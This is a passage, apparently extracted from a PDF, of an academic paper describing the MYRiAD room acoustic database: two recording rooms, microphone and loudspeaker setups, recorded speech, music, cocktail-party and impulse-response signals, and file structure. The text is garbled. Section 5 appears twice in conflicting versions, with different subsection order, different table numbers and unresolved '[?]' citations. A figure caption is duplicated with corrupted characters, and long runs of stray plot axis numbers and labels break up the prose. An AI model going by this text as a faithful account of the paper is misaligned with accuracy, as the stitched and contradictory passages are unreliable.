+Software
+Reproduction/acquisition
+Logic Pro X
+SAL
+Adobe Audition
+AIL
+Post-processing
+MATLAB
+Python
+Figure 2: Dummy BTE pieces used for creating
+the database. Each BTE piece consists of two
+omnidirectional microphones as indicated by the
+circles.
+cocktail party, and the computed RIRs. In Sec. 6, prac-
+tical instructions for using the database are provided,
+along with a description of relevant MATLAB and
+Python scripts, and some examples from the database
+are illustrated. In Sec. 7, the database is briefly sum-
+marised.
+2 Room description
+In this section, we provide a brief overview on the char-
+acteristics of the two recording rooms. The SAL is de-
+scribed in Sec. 2.1 and the AIL is described in Sec.
+2.2.
+2.1 SONORA Audio Laboratory (SAL)
+The SAL [31] is located at the Department of Electri-
+cal Engineering (ESAT-STADIUS), KU Leuven, Hev-
+erlee, Belgium. Fig. 1 shows a fisheye view and Fig. 6
+shows a floor plan of the L-shaped SAL with approx-
+imate dimensions. The height of the room is 3.75 m,
+yielding a volume of approximately 102 m3. The walls
+and ceiling are made of plasterboard covering mineral
+wool, while the floor is made of concrete covered with
+vinyl. Two windows, each of 4 m2 are located on one
+side of the room. Adjacent to the recording room, sep-
+arated by glass of area 6.5 m2, is the control room,
+where all the acquisition equipment and a computer
+are located. From the RIRs measured in the SAL, we
+estimated the reverberation time RT60 to be 2.1 s as
+described in Sec. 6.4. Details on the audio hardware
+used in the SAL are given in Sec. 3, while the micro-
+phone and loudspeaker configuration and placement
+are described in Sec. 4.1.1, Sec. 4.2.1, and Sec. 4.3.
+2.2 Alamire Interactive Laboratory (AIL)
+The AIL [31] is located in a historic gate building, the
+Saint Norbert’s gate of the Park Abbey in Heverlee,
+Belgium. Fig. 1 shows a fisheye view and Fig. 6 shows
+
+QDietzen et al.
+Page 4 of 15
+1 m
+2 m
+�90�
+�75�
+�60�
+�45�
+�30�
+�15�
+0�
+15�
+30�
+45�
+60�
+75�
+90�
+BTERF
+BTERB
+BTELF
+BTELB
+DHR
+DHL
+S0 1
+S60 1
+S30 1
+S90 1
+S-30 1
+S-60 1
+S-90 1
+S45 2
+S-45 2
+S0 2
+XM3
+XM4
+XM5
+XM2
+XM1
+M1
+LS-SAL
+Figure 3: Plan view of the M1 microphone configuration and the LS-SAL loudspeaker configuration. A descrip-
+tion of the microphone and loudspeaker labels is given in Table 2. The radial grid spacing of the polar plot is
+0.25 m. The DH is placed at a height of approximately 1.3 m ear level from the floor and all XMs are placed at a
+height approximately 1 m from the floor. The trapezoidal shape is used to represent the M1 microphone config-
+uration in the floor plans of Fig. 6. For extracting the coordinates of the microphone and loudspeaker positions,
+the MATLAB or Python scripts discussed in Sec. 6.2 should be used.
+a floor plan of the room. Apart from a staircase lead-
+ing to a floor above, the room is approximately shoe-
+box shaped with 6.4 m width, 6.9 m depth, and 4.7 m
+height, yielding a volume of approximately 208 m3.
+The floor and ceiling are made of wood. The room is
+closed by thin line plastered brick walls with two win-
+dows each to the front and the back of about 3.3 m2
+each, and wide passages to adjacent rooms, with one
+of them closed by a glass door. These passages were
+closed off with curtains during recording, except for a
+part of the cocktail party noise, cf. Sec. 5.3. The hous-
+ing of the staircase is plastered, the stairs are wooden,
+and the railing is made of glass. From the RIRs mea-
+sured in the AIL, the reverberation time RT60 is esti-
+mated to be 0.5 s, cf. Sec 6.4. The AIL is equipped with
+a permanent, fixed array of 24 loudspeakers for spatial
+audio reproduction as shown in Fig. 1. Further details
+on the audio hardware used in the AIL are given in
+Sec. 3, while the microphone and loudspeaker configu-
+ration and placement are described in Sec. 4.1.1, Sec.
+4.1.2, Sec. 4.2.2, and Sec. 4.3.
+3 Recording equipment
+A list of the recording and processing equipment used
+to create the database is shown in Table 1. In regards
+to the microphones, the DH contains 2 in-ear omni-
+directional microphones (one for each ear) and the
+two BTE pieces (one for each ear) are each equipped
+with 2 omnidirectional microphones. The BTE pieces
+and their proprietary pre-amplifier were provided by
+Cochlear Ltd. and shown in Fig. 2. The specific loud-
+speaker and microphone configurations used for the
+various recordings in the database will be outlined in
+Sec. 4, and naming conventions of files will be defined
+in Sec. 6.
+The recording chains were built as follows. As the
+digital audio workstations for sending and acquiring
+the signals, Logic Pro X and Adobe Audition on an
+iMac were used in the SAL and the AIL, respectively.
+In the SAL, the signals were sent from Logic Pro X via
+USB to the RME Digiface, then to the RME M-32 DA
+using the ADAT protocol, and finally to the respective
+Genelec 8030 CP loudspeakers. In the AIL, the signals
+were sent from Adobe Audition via the DANTE pro-
+tocol to the Powersoft OTTOCANALI 4K4 DSP+D,
+and finally to the Martin Audio CDD6 loudspeakers.
+In both rooms, all microphone signals were sent to an
+RME Micstasy (except for the BTE microphone sig-
+nals which were firstly routed to the proprietary pre-
+amplifier) and converted to ADAT. In the SAL, the
+ADAT signals were sent to the RME Digiface and fi-
+nally recorded on Logic Pro X, whereas in the AIL,
+the ADAT signals were sent to the Ferrofish Verto
+64 and via DANTE to Adobe Audition. The various
+types of recorded signals are outlined in Sec. 5. For
+post-processing (such as RIR computation, cf. Sec. 5),
+MATLAB and Python were used.
+
+Dietzen et al.
+Page 5 of 15
+4 Microphone and loudspeaker
+configurations
+This section describes the microphone configurations
+in Sec. 4.1, the loudspeaker configurations in Sec. 4.2,
+and the placement of these configurations within the
+SAL and AIL in Sec. 4.3. The exact coordinates of the
+loudspeaker and microphone positions within the SAL
+and AIL from the various configurations can be loaded
+from the database, but the details of this procedure
+will be elaborated upon in Sec. 6.
+4.1 Microphone configurations
+4.1.1 M1
+The first microphone configuration, M1, consists of
+the in-ear microphones from the DH, the microphones
+from the BTE pieces, three AKG 97O microphones,
+and two AKG CK32 microphones. As the AKG 97O
+and AKG CK32 microphones are not mounted on the
+DH, they are considered to be ‘external’ in relation
+to the DH, and hence will be referred to as external
+microphones (XMs). This M1 configuration was used
+in both the SAL and the AIL, cf. Sec. 4.3. Fig. 3 de-
+picts the plan view of the measurement configuration
+of the loudspeakers and microphones used for the au-
+dio recordings made in the SAL. For now, however, we
+will focus only on the trapezoidal shape enclosing the
+microphones, which is a depiction of the M1 configu-
+ration. A description of the corresponding microphone
+labels is given in Table 2.
+For this M1 configuration, the DH is placed at a
+height of approximately 1.3 m ear level from the floor.
+Each of the BTE pieces is mounted on the DH as shown
+in Fig. 2. The XMs are placed within a radius of 1 m
+from the DH as shown in Fig. 3. XM1, XM2, and XM3
+are AKG 97O microphones, while XM4 and XM5 are
+AKG CK32 microphones. The XMs are all positioned
+at 1 m above the floor.
+4.1.2 M2
+The second microphone configuration, M2, consists of
+two concentric circular microphone arrays composed
+of 4 DPA 4060 and 8 AKG CK 32 microphones. Fig.
+4 shows a plan view of the M2 configuration, and a
+description of the microphone labels is given in Table
+2. The inner circular microphone array has a radius
+of 10 cm and consists of 4 equidistantly placed DPA
+4060 microphones. The outer circular microphone ar-
+ray has a radius of 20 cm and consists of 8 equidis-
+tantly placed AKG CK 32 microphones. The micro-
+phones are all placed at a height of 1 m above the floor,
+centred around the stand of the DH of the M1 config-
+uration. This M2 configuration was used at two differ-
+ent positions within the AIL, always in combination
+with M1 as depicted in Fig. 6. It should be noted that
+�90�
+�45�
+0�
+45�
+90�
+135�
+180�
+�135�
+CMA20 0
+CMA20 90
+CMA20 180
+CMA20 -90
+CMA20 45
+CMA20 135
+CMA20 -135
+CMA20 -45
+CMA10 0
+CMA10 90
+CMA10 180
+CMA10 -90
+M2
+10 cm
+20 cm
+Figure 4: Plan view of the M2 microphone con-
+figuration. A description of the microphone labels
+is given in Table 2. The radial grid spacing of
+the polar plot is 0.1 m. DPA 4060 microphones
+are used for the inner circular microphone ar-
+ray and AKG CK 32 microphones are used for
+the outer circular microphone array. The circle
+drawn around the microphones represents the M2
+microphone configuration in the floor plans in
+Fig. 6. For extracting more precise coordinates
+of the microphone and loudspeaker positions, the
+MATLAB or Python scripts discussed in Sec. 6.2
+should be used.
+since M2 was used in combination with M1, it is also
+possible to define arrays that contain microphones of
+both configurations, such as a linear array composed of
+CMA20 180, CMA10 180, XM1, CMA10 0, CMA20 0,
+XM2, and XM3.
+4.2 Loudspeaker configurations
+4.2.1 LS-SAL
+The loudspeaker configuration LS-SAL as the name
+suggests is used in the SAL only. It is defined rela-
+tive to the M1 microphone configuration, and consists
+of 10 loudspeakers. The loudspeakers are positioned
+at various spatial locations at a height such that the
+centre of each of the woofers is approximately 1.3 m
+above the floor. Fig. 3 is a plan view of this LS-SAL
+loudspeaker configuration along with the M1 micro-
+phone configuration. A description of the loudspeaker
+labels is also provided in Table 2. During recordings,
+the loudspeaker S0 1 was removed before recording the
+signals for the loudspeaker S0 2 so that there was a di-
+rect line of sight from the latter to the DH.
+
+Dietzen et al.
+Page 6 of 15
+Table 2: Microphone and loudspeaker labels.
+type
+label
+description
+microphones
+dummy head
+DHL
+left ear
+DHR
+right ear
+BTE pieces
+BTELF
+left ear, front
+BTELB
+left ear, back
+BTERF
+right ear, front
+BTERB
+right ear, back
+external microphone
+XM[i]
+with index [i] as depicted in Fig. 3
+[i] ∈ {1, 2, . . . , 5}
+circular microphone array
+CMA[r] [a]
+at [r]cm radius and an angle of [a]◦ as depicted in Fig. 4
+[r] ∈ {10, 20}
+[a] ∈ {-135, -90, . . . , 180}
+room
+label
+description
+loudspeakers
+SAL
+S[a] [d]
+at angle of [a]◦ and in [d]m distance as depicted in Fig. 3
+[a] ∈ {-90, -60, -45, -30, 0, 30, 45, 60, 90}
+[d] ∈ {1, 2}
+AIL
+S[l][i]
+at height level [l] with index [i] as depicted in Fig. 5
+[l] ∈ {L, U, T} (indicating lower, upper, and top level)
+[i] ∈ {1, 2, . . . , 12}
+4.2.2 LS-AIL
+The loudspeaker configuration LS-AIL is a 24-loud-
+speaker array, permanently installed in the AIL, cf.
+Fig. 1, which is typically used for spatial sound repro-
+duction. Fig. 5 shows the geometry of the loudspeaker
+array. The loudspeakers are labeled as described in Fig.
+5 and Table 2. The width and depth of the array are
+approximately 5.6 m and 4.85 m, and the loudspeakers
+are arranged in three groups of different height lev-
+els, referred to as lower, upper, and top level. The
+lower level consists of 8 speakers located around the
+room along the walls at about 1.5 m height, the upper
+level containing 12 speakers is located above at about
+3.3 m height, and the top level containing 4 speakers
+is located more centrally at about 4.1 m height. Note
+that for the sake of simplicity, the presented locations
+are only approximate. Using measurements of the dis-
+tances between the speakers and a set of four refer-
+ence points on the floor with known coordinates, the
+exact coordinates of the loudspeakers have been es-
+timated based on the theory on Euclidean distance
+matrices [36]. All microphone and loudspeaker coordi-
+nates can be loaded from the database as discussed in
+Sec. 6.2.
+4.3 Microphone and loudspeaker configuration
+placement
+Fig. 6 illustrates the placement of the M1 microphone
+configuration as well as the LS-SAL loudspeaker con-
+figuration within the SAL at a recording position near
+the corner of the L-shaped room.
+Fig. 6 shows a floor plan of the setups M1 and M2
+within the AIL, together with the lower speakers of
+the LS-AIL loudspeaker array. As can be seen, there
+are two recording positions in the AIL, referred to as
+P1 and P2, with the DH facing the speakers SU6 and
+SU7, located roughly below ST2 and ST1 (not shown
+in the figure), respectively. In both recording positions,
+both microphone configurations M1 and M2 are used,
+with the stand of the DH of M1 being the center of
+the circular microphone arrays of M2. Fig. 7 shows a
+combination of M1 and M2 as used in position P2.
+The coordinates of all speakers and microphones in
+both rooms can be loaded from the database using
+MATLAB or Python, cf. Sec 6.2.
+5 Recorded signals
+The MYRiAD database contains 76 hours of audio
+data and has a size of 36.2 GB. All microphone signals
+in the database are provided at a sampling frequency
+of 44.1 kHz with a 24 bit resolution. A summary of the
+signals recorded and computed, along with the quan-
+tity of each (i.e. the number of different instances of
+
+Dietzen et al.
+Page 7 of 15
+Dietzen et al.
+Page 7 of 15
+0
+1.5
+3.3
+4.1
+SL1
+SL2
+SL3
+SL4
+SL5
+SL6
+SL7
+SL8
+SU1
+SU2
+SU3
+SU4
+SU5
+SU6
+SU7
+SU8
+SU9
+SU10
+SU11
+SU12
+ST1
+ST2
+ST3
+ST4
+1.75
+2.1
+1.75
+1.5
+1.85
+1.5
+Width distance (m)
+Depth distance (m)
+Height (m)
+Figure 5: View of the LS-AIL loudspeaker array in the AIL. A description of the loudspeaker labels
+is given in Table 2. The speakers are organized in three di↵erent height levels of about 1.5 m (lower
+level), 3.3 m (upper level), and 4.1 m (top level) above the floor. The axes limits coincide with the
+boundaries of the approximately shoe-boxed shaped room, cf. Sec. 2.2. On the horizontal axes, the
+approximate distance between neighbouring speakers is indicated. The given dimensions are of indica-
+tive nature and not exact; for extracting the coordinates of the microphone and loudspeaker positions,
+the MATLAB or Python scripts discussed in Sec. 6.2 should be used.
+5 Recorded signals
+The MYRiAD database contains 76 hours of audio
+data and has a size of 36.2 GB. All microphone signals
+in the database are provided at a sampling frequency
+of 44.1 kHz with a 24 bit resolution. A summary of the
+signals recorded and computed, along with the quan-
+tity of each (i.e. the number of di↵erent instances of
+that type of signal), their duration, their source, their
+acquisition method (i.e. how the signals were gener-
+ated), the employed loudspeakers, and a signal label
+is provided in Table 5. In the remainder of this sec-
+tion, we discuss in more detail the recorded speech,
+noise and music signals in Sec. 5.1, the recorded cock-
+tail party in Sec. 5.2, and the RIR measurements in
+Sec. 5.3.
+5.1 Speech, noise, music
+Speech, stationary noise, and music signals were played
+through the loudspeakers indicated in Table 5 and
+recorded by all microphones. Three male and three
+female speech segments were chosen randomly from
+the Centre for Speech Technology Research (CSTR)
+Voice Cloning Toolkit (VCTK) corpus [?]. The sta-
+tionary noise source signal has a speech-shaped spec-
+trum and was generated in MATLAB based on speech
+spectra from the VCTK corpus. The drum piece was
+taken from the studio recording sessions in [?]. The
+piano piece is track 60 (Schubert) from the European
+Broadcast Union Sound Quality Assessment Material
+Recordings for Subjective Tests (EBU SQAM) [?]. In
+the AIL, the sides of the room were closed o↵ with
+curtains during recording. These signals were acquired
+for all loudspeakers in the SAL, but only for the lower
+loudspeaker level in the AIL, that is SL1 to SL8 (in
+contrast to the RIRs, which were computed for all pos-
+sible loudspeaker-microphone combinations, cf. Sec.
+5.3). The recorded signals were post-processed to re-
+move the input-output delay caused by the recording
+hardware. Both the source signals and the recorded
+signals are included in the database.
+5.2 Cocktail party
+In addition to the aforementioned signals, a cocktail
+party scenario was re-created and recorded in both the
+SAL and the AIL. All participants gave informed con-
+sent. They were instructed to stay outside of a 1 m
+circumference around the DH in both rooms and peri-
+odically move around in a random manner engaging in
+conversation. Snacks and beverages in glasses were also
+LS-AIL
+Figure 5: View of the LS-AIL loudspeaker array in the AIL. A description of the loudspeaker labels is given
+in Table 2. The speakers are organized in three different height levels of about 1.5 m (lower level), 3.3 m (upper
+level), and 4.1 m (top level) above the floor. The axes limits coincide with the boundaries of the approximately
+shoe-boxed shaped room, cf. Sec. 2.2. On the horizontal axes, the approximate distance between neighbouring
+speakers is indicated. The given dimensions are of indicative nature and not exact; for extracting the coordinates
+of the microphone and loudspeaker positions, the MATLAB or Python scripts discussed in Sec. 6.2 should be
+used.
+that type of signal), their duration, their source, their
+acquisition method (i.e. how the signals were gener-
+ated), the employed loudspeakers, and a signal label is
+provided in Table 3. In the remainder of this section,
+we discuss in more detail the RIR measurements in
+Sec. 5.1, the recorded speech, noise and music signals
+in Sec. 5.2, and the recorded cocktail party in Sec. 5.3.
+5.1 Room impulse responses
+The database includes in total 110 RIRs from the SAL
+and 1104 RIRs from the AIL. To obtain the RIRs,
+two exponential sine sweep signals were played and
+recorded for each loudspeaker-microphone combina-
+tion. In the AIL, the sides of the room were closed
+off with curtains during the recording. From these sine
+sweeps, the RIRs were computed by cross-correlation[2]
+according to the procedure detailed in [32]. From each
+pair of recorded sine sweeps, one of them was selected
+for RIR estimation by visual inspection of the spec-
+trograms (more specifically, spectrograms containing
+any type of non-stationary noise were discarded). In
+[2]It should be noted that the estimated impulse re-
+sponses also include some characteristics of the record-
+ing hardware. Consequently these impulse responses
+are, in a strict sense, not the true RIRs which rep-
+resent the characteristics of the room only. Neverthe-
+less these impulse responses are designated as RIRs for
+simplicity.
+order to obtain as clean as possible RIRs, some of
+the recorded sine sweeps were post-processed as to
+suppress low-level (stationary) harmonic noise compo-
+nents produced by the recording equipment. In this
+post-processing procedure, frequency bins containing
+harmonic noise components were identified during si-
+lence by comparing their magnitude to the median
+magnitude of neighbouring frequency bins. If the dif-
+ference was above the threshold of 4 dB, a Wiener filter
+[2] was applied in that frequency bin. The recorded sig-
+nals were further post-processed to remove the input-
+output delay caused by the recording hardware.
+5.2 Speech, noise, music
+Speech, stationary noise, and music signals were played
+through the loudspeakers indicated in Table 3 and
+recorded by all microphones. Three male and three
+female speech segments were chosen randomly from
+the Centre for Speech Technology Research (CSTR)
+Voice Cloning Toolkit (VCTK) corpus [33]. The sta-
+tionary noise source signal has a speech-shaped spec-
+trum and was generated in MATLAB based on speech
+spectra from the VCTK corpus. The drum piece was
+taken from the studio recording sessions in [34]. The
+piano piece is track 60 (Schubert) from the European
+Broadcast Union Sound Quality Assessment Material
+Recordings for Subjective Tests (EBU SQAM) [35].
+In the AIL, the sides of the room were closed off
+
+Dietzen et al.
+Page 8 of 15
+5.05 m
+6.40 m
+3.05 m
+3.40 m
+Door
+Window
+Window
+Glass separation 
+to control room
+Control 
+Room
+M1
+S0 1
+S60 1
+S30 1
+S90 1
+S-30 1
+S-60 1
+S-90 1
+S45 2
+S-45 2
+S0 2
+6.40 m
+6.90 m
+P1
+SL4
+SL3
+SL2
+SL1
+SL5
+SL6
+SL7
+SL8
+M1
+M1
+M2
+M2
+Window
+Window
+Window
+Staircase
+Curtains
+Curtains
+P2
+AIL
+SAL
+Figure 6: Microphone and loudspeaker configuration placement. (Left) Placement of the M1 microphone config-
+uration and the LS-SAL loudspeaker configuration within the SAL. (Right) Placement of the M1 and M2 micro-
+phone configurations in P1 and P2 as well as the lower level of the LS-AIL loudspeaker configuration within the
+AIL. Details of the M1 and M2 microphone configurations and the LS-SAL and LS-AIL loudspeaker configura-
+tion can be seen in Fig. 3, Fig. 4, and Fig. 5. For extracting the coordinates of the microphone and loudspeaker
+positions, the MATLAB or Python scripts discussed in Sec. 6.2 should be used.
+with curtains during recording. These signals were ac-
+quired for all loudspeakers in the SAL, but only for
+the lower loudspeaker level in the AIL, that is SL1 to
+SL8 (in contrast to the RIRs, which were computed for
+all possible loudspeaker-microphone combinations, cf.
+Sec. 5.1). The recorded signals were post-processed to
+remove the input-output delay caused by the record-
+ing hardware. For the signals recorded in the SAL, a
+slow phase drift was observed between the recorded
+data and simulated data obtained from convolving the
+estimated RIR with the source signal, cf. Sec. 6.3. This
+phase drift can be associated to hardware limitations
+in the recording setup and has been compensated for
+by time-shifting some of the recorded signals[3] such
+as to minimize the error between the recorded and the
+convolved data. For the signals recorded in the AIL,
+no phase drift was observed. Both the source signals
+and the recorded signals are included in the database.
+[3]Only a minority of the recorded signals required a
+shift of at most 2 samples.
+5.3 Cocktail party
+In addition to the aforementioned signals, a cocktail
+party scenario was re-created and recorded in both the
+SAL and the AIL. All participants gave informed con-
+sent. They were instructed to stay outside of a 1 m
+circumference around the DH in both rooms and pe-
+riodically move around in a random manner engaging
+in conversation. Snacks and beverages in glasses were
+also served to the participants during the recordings.
+For the SAL cocktail party, at any given time, there
+were at least 15 people present in the room, whereas
+for the AIL cocktail party, there were at least 10 and
+at most 14 people present. In the SAL, the microphone
+configuration M1 located as shown in Fig. 6 was used
+(the loudspeakers were removed from the room). In
+the AIL, the microphone configurations M1 and M2
+located in position P2 as shown in Fig. 6 were used.
+The curtains on the sides of the room in the AIL were
+closed during the recordings of CP1, CP2, and CP3,
+and open during CP4, CP5, and CP6. Photos from the
+cocktail parties in the SAL and AIL are shown in Fig.
+8.
+
+Dietzen et al.
+Page 9 of 15
+Table 3: Signals recorded and computed in the database.
+Signal
+Type
+Quantity
+Duration (s)
+Source
+Acquisition
+Speakers1
+Label
+Male speaker
+Speech
+3
+30–37
+[33]
+playback + record
+Lsub
+M[i], [i] ∈ {1, 2, 3}
+Female speaker
+Speech
+3
+30–37
+[33]
+playback + record
+Lsub
+F[i], [i] ∈ {1, 2, 3}
+Stationary noise
+Noise
+1
+35
+generated
+playback + record
+Lsub
+SN
+Cocktail party
+Noise
+6
+600
+party guests
+party + record
+none
+CP[i], [i] ∈ {1, 2, . . . , 6}
+Drums
+Music
+1
+41
+[34]
+playback + record
+Lsub
+DR
+Piano
+Music
+1
+35
+[35]
+playback + record
+Lsub
+PI
+Sine sweep2
+Meas.
+2
+15
+generated
+playback + record
+all
+RIR
+RIR
+1
+2–3
+sine sweeps
+computed [32]
+all
+RIR
+1 The subset Lsub includes all speakers in SAL and SL1 to SL8 in the AIL, cf. Fig. 5 and Table 2.
+2 The raw sine sweeps are not included in the database and hence do not have a label.
+AIL
+Figure 7: A combination of the microphone con-
+figurations M1 and M2 as used at the AIL.
+6 Using the database
+In this section, we elaborate on the file path struc-
+ture of the database in Sec. 6.1 as well as the code
+provided for loading audio signals and retrieving loud-
+speaker and microphone coordinates in Sec. 6.2, and
+present some examples of audio signals in Sec. 6.3 and
+reverberation time estimates in Sec. 6.4.
+6.1 File path structure
+Table 4 provides an overview of the directory tree for
+the database. Audio files are located in the root di-
+rectory /audio/, with loudspeaker source signals in
+the subfolder SRC/ and recorded microphone signals
+in the subfolders SAL/ and AIL/. The recorded mi-
+crophone signals are further organized by loudspeaker
+(except for cocktail party recordings) and microphone
+configuration placement (in the AIL). The file names
+encode both the microphone and signal type. Note
+that not all folders contain all possible combina-
+tions of microphones and signals. For instance, the
+folder /audio/SAL/CP/ contains only files of signal
+Figure 8: Cocktail party recordings at the SAL
+and the AIL.
+type CP∗, and the folders in /audio/AIL/SU∗/ and
+/audio/AIL/ST∗/ only contain files of signal type RIR,
+cf. Sec. 5.2.
+
+SAL
+SALDietzen et al.
+Page 10 of 15
+Table 4: File path structure of the database.
+root
+signal type1
+source signal path
+/audio/
+SRC/
+[s].wav
+root
+room
+speaker2 or CP
+config. placement3
+microphone2 and signal type1
+microphone signal path
+/audio/
+SAL/
+S[a] [d]/
+[m] [s].wav
+CP/
+AIL/
+S[l][i]/
+P1/
+P2/
+CP/
+P2/
+root
+room
+coordinate file path
+coord/
+SAL.csv
+AIL.csv
+root
+language
+script or function4
+code file path
+/tools/
+MATLAB/
+[f].m
+Python/
+[f].py
+1 The signal label [s] takes the forms as defined in Table 3.
+2 The speaker labels S[a] [d] and S[l][i] and the microphone label [m] take the forms as defined in Table 2.
+3 P1 and P2 refer to the microphone configuration placements at the AIL as shown in Fig. 6.
+4 The script or function names [f] take the forms as defined in Table 5.
+Table 5: Scripts facilitating the use of the database.
+script or function name
+description (detailed help can be found in the header)
+load audio data
+example script loading audio recordings and calling load coordinates()
+load coordinates()
+function loading and optionally plotting microphone and loudspeaker coordinates
+The folder /coord/ contains files with coordinates
+of all speakers and microphones in both the SAL and
+the AIL, and the folder /tools/ contain MATLAB and
+Python scripts for accessing audio data and coordi-
+nates, cf. Sec.6.2.
+6.2 Creating Microphone Signals and Retrieving
+Coordinates
+The database comes with MATLAB and Python
+scripts intended to facilitate retrieving loudspeaker
+and microphone coordinates and generating signals,
+as listed in Table 5.
+The script load audio data is an example script
+demonstrating how a .wav-file can be loaded given a
+list of loudspeaker, microphone, and signal labels pro-
+vided by the user. This script also calls the function
+load coordinates(), which reads corresponding coordi-
+nates from SAL.csv or AIL.csv (cf. Table 4) and op-
+tionally visualizes them.
+6.3 Examples of the audio signals
+In this section, we take a glimpse into the database
+by observing some of the signals in both the SAL and
+the AIL, which will also make evident the different
+acoustics of the spaces.
+Fig. 9 displays the waveform (top of each sub-figure)
+and corresponding spectrogram (bottom of each sub-
+figure) for a number of signals related to the SAL.
+The colourmap in the spectrograms corresponds to the
+squared magnitude of the short-time Fourier transform
+coefficients and is plotted in dB. Fig. 9 (a) is the first 10
+seconds of the source signal corresponding to a female
+speaker, F1 (cf. Table 3). Fig. 9 (b) is a computed RIR
+in the SAL from the loudspeaker S0 1 to microphone
+BTELF (cf. Fig. 3), where the reverberation time is
+seen to be quite long and highly frequency-dependent.
+Fig. 9 (c) shows the recorded signal of the source signal
+F1 (from Fig. 9 (a)) in the microphone BTELF after
+being played through the loudspeaker S0 1. The ef-
+fect of the reverberation is evident as the spectrogram
+shows how the source signal has now been distorted
+
+Dietzen et al.
+Page 11 of 15
+Page 1 of 1
+0
+2
+4
+6
+8
+10
+−0.4
+−0.20
+0.2
+0.4
+Amplitude
+(a)
+0
+2
+4
+6
+8
+10
+0
+5
+10
+15
+20
+Time (s)
+Frequency (kHz)
+0
+1
+2
+3
+-0.1
+-0.05
+0
+0.05
+0.1
+(b)
+0
+1
+2
+3
+0
+5
+10
+15
+20
+Time(s)
+−80
+−60
+−40
+−20
+0
+20
+dB
+0
+2
+4
+6
+8
+10
+−0.2
+0
+0.2
+Amplitude
+(c)
+0
+2
+4
+6
+8
+10
+0
+5
+10
+15
+20
+Time (s)
+Frequency (kHz)
+0
+2
+4
+6
+8
+10
+−0.2
+0
+0.2
+(d)
+0
+2
+4
+6
+8
+10
+0
+5
+10
+15
+20
+Time (s)
+0
+2
+4
+6
+8
+10
+−0.2
+0
+0.2
+(e)
+0
+2
+4
+6
+8
+10
+0
+5
+10
+15
+20
+Time (s)
+−80
+−60
+−40
+−20
+0
+20
+dB
+Figure 9: Waveform and corresponding spectrogram of signals related to the SAL recordings. (a) First 10 sec-
+onds of the source signal corresponding to a female speaker, F1 (cf. Table 3), (b) computed RIR from the loud-
+speaker S0 1 to microphone BTELF (cf. Fig. 3), (c) recorded microphone BTELF signal after the signal from
+(a) was played through the loudspeaker S0 1, (d) simulated signal from the convolution of (a) and (b), (e) error
+between signals (c) and (d).
+in both time and frequency. Fig. 9 (d) is the result
+of a convolution between the RIR from loudspeaker
+S0 1 to microphone BTELF (Fig. 9 (b)) and the F1
+source signal (Fig. 9 (a)). This signal is representative
+of how the recorded signal from Fig. 9 (c) would typ-
+ically be simulated. As should be expected, Fig. 9 (c)
+and Fig. 9 (d), appear quite similar. However, Fig. 9 (e)
+illustrates the difference (error) between the waveform
+plots in Fig. 9 (c) and Fig. 9 (d), with the correspond-
+ing spectrogram of this error, demonstrating that the
+simulated signal and recorded signal are not identical.
+Fig. 10 displays signals from the AIL in a similar
+manner to that of Fig. 9. The first 10 seconds of the
+same source signal, F1 (cf. Table 3) is observed (Fig.
+10 (a)). Fig. 10 (b) is a computed RIR in the AIL from
+the loudspeaker SL5 1 to microphone BTELF (cf. Fig.
+3), where it can be observed that the reverberation
+time is significantly shorter as compared to the SAL
+and more uniform across frequency. Fig. 10 (c) shows
+the recorded signal of the source signal F1 (from Fig.
+10 (a)) in the microphone BTELF after being played
+through the loudspeaker SL5 1. Fig. 10 (d) is the result
+of a convolution between the RIR from loudspeaker
+SL5 1 to microphone BTELF (Fig. 10 (b)) and the F1
+source signal (Fig. 10 (a)). Fig. 10 (e) is the differ-
+ence (error) between the waveform plots in Fig. 10 (c)
+and Fig. 10 (d). It can once again be observed that
+although the simulated and recorded signals are quite
+similar, they are not identical.
+Figure 11 depicts the waveform and corresponding
+spectrogram from a 15 s sample of the cocktail party
+noise. The left of Fig. 11 is the signal CP2 (cf. Table 3)
+for microphone XM2 in the SAL and the right of Fig.
+11 is the signal CP5 from XM2 in the AIL. The non-
+stationary behaviour of this type of noise over time
+and frequency is quite evident.
+6.4 Reverberation times
+The reverberation time RT60 for the two rooms SAL
+and AIL is estimated at full bandwidth as well as in
+
+Dietzen et al.
+Page 12 of 15
+Page 1 of 1
+0
+2
+4
+6
+8
+10
+−0.4
+−0.20
+0.2
+0.4
+Amplitude
+(a)
+0
+2
+4
+6
+8
+10
+0
+5
+10
+15
+20
+Time (s)
+Frequency (kHz)
+0
+1
+2
+3
+-0.1
+-0.05
+0
+0.05
+0.1
+(b)
+0
+1
+2
+3
+0
+5
+10
+15
+20
+Time(s)
+−80
+−60
+−40
+−20
+0
+20
+dB
+0
+2
+4
+6
+8
+10
+-0.1
+-0.05
+0
+0.05
+0.1
+Amplitude
+(c)
+0
+2
+4
+6
+8
+10
+0
+5
+10
+15
+20
+Time (s)
+Frequency (kHz)
+0
+2
+4
+6
+8
+10
+-0.1
+-0.05
+0
+0.05
+0.1
+(d)
+0
+2
+4
+6
+8
+10
+0
+5
+10
+15
+20
+Time (s)
+0
+2
+4
+6
+8
+10
+-0.1
+-0.05
+0
+0.05
+0.1
+(e)
+0
+2
+4
+6
+8
+10
+0
+5
+10
+15
+20
+Time (s)
+−80
+−60
+−40
+−20
+0
+20
+dB
+Figure 10: Waveform and corresponding spectrogram of signals related to the AIL recordings. (a) First 10 sec-
+onds of the source signal corresponding to a female speaker, F1 (cf. Table 3), (b) computed RIR from the loud-
+speaker SL5 1 to microphone BTELF (cf. Fig. 3), (c) recorded microphone BTELF signal after the signal from
+(a) was played through the loudspeaker SL5 1, (d) simulated signal from the convolution of (a) and (b), (e) error
+between signals (c) and (d).
+different octave bands. The estimate is obtained from
+the slope of a line fitted on the decay curves of the RIRs
+according to the ISO standard [37] and using the code
+in [38]. Here, the line was fitted in the dynamic range
+between −5 dB and −25 dB of the decay curve. A plot
+of the estimated reverberation times is shown in Fig.
+12. As can be seen, the full-band reverberation time is
+significantly higher in the SAL with 2.1 s as compared
+to the AIL with 0.5 s. We further note that RT60 in
+the SAL is largest between 1 and 2 kHz, while it is less
+dependent on frequency in the AIL.
+7 Conclusion
+In this paper, a database of acoustic recordings, re-
+ferred to as the Multi-arraY Room Acoustic Database
+(MYRiAD), has been presented, which facilitates the
+recreation of noisy and reverberant microphone sig-
+nals for the purpose of evaluating audio signal process-
+ing algorithms. Recordings were made in two differ-
+ent rooms, the SONORA audio laboratory (SAL) and
+the Alamire Interactive Laboratory (AIL), with signif-
+icantly different reverberation times of 2.1 s and 0.5 s,
+respectively. In the SAL, a microphone configuration,
+M1, was used, which consists of in-ear dummy head
+microphones, microphones on behind-the-ear pieces
